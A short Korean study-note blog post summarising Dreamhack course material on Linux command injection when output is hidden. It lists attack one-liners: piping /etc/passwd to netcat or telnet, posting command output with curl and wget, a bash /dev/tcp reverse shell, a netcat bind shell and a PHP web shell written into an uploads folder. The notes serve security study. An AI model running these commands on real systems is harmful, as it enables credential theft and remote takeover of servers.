Dreamhack - Command Injection for Linux

양병수·2022년 10월 16일
0

individual

목록 보기
2/4
post-custom-banner

명령어의 실행 결과를 확인할 수 없는 환경 1-1

  • 네트워크 도구를 활용해 명령어 전송.

    • netcat:
      • TCP / UDP 프로토콜을 사용하는 네트워크에서 데이터를 송신 / 수신하는 프로그램
      • 쉘에서 제공하는 파이프(|) 와 함께 사용 ex) cat /etc/passswd | nc 127.0.0.1 8000
    • telnet:
      • 원격의 네트워크 연결을 도와주는 프로토콜
      • 쉘에서 제공하는 파이프(|) 와 함께 사용 ex) cat /etc/passswd | telnet 127.0.0.1 8000
    • curl / wget
      • 두가지 모두 웹 서버의 컨텐츠를 가져오는 프로그램
      • 명렁어의 실행 결과를 웹 서버의 경로 또는 Body 와 같은 영역에 포함해 전송
      • ex) curl http://127.0.0.1:8000/ -d "$(ls -al)"
      • ex) wget http:127.0.0.1:8000 --method=POST --body-data="ls -al"
  • Reverse Shell / Bind Shell

    • Reverse Shell
      • /dev/tcp or /dev/udp 하위 경로에 IP 주소와 포트번호를 적으면 네트워크 연결을 시도하는 bash 의 기능을 사용해 리버스 쉘 업로드
      • ex) /bin/bash -i >& /dev/tcp/127.0.0.1/8080 0>&1
      • 파이썬과 루비라는 언어의 소켓을 사용해 리버스 쉘 공격 (더 공부하기..)
    • Bind Shell
      • 버전에 따라 특정 포트에 임의 서비스를 등록할 수 있는 netcat 의 -e 옵션 활용
      • ex) nc -nlvp 8080 -e /bin/bash
      • Perl 스크립트 사용(더 공부하기..)
  • 파일 생성

    • 만약 커맨드 인젝션 취약점이 발생하고 웹 서버가 파일을 저장하는 경로를 알 수 있다면 해당 경로에 PHP, JSP, ASP 등과 같은 언어를 사용해 웹쉘 업로드
    • ex) 'printf <?= system($_GET[0]?>' > /var/www/html/uploads/shell.php

노트

  • 리눅스 명령어, 옵션, 표준 입출력, 메타문자 등 공부하기..
post-custom-banner

0개의 댓글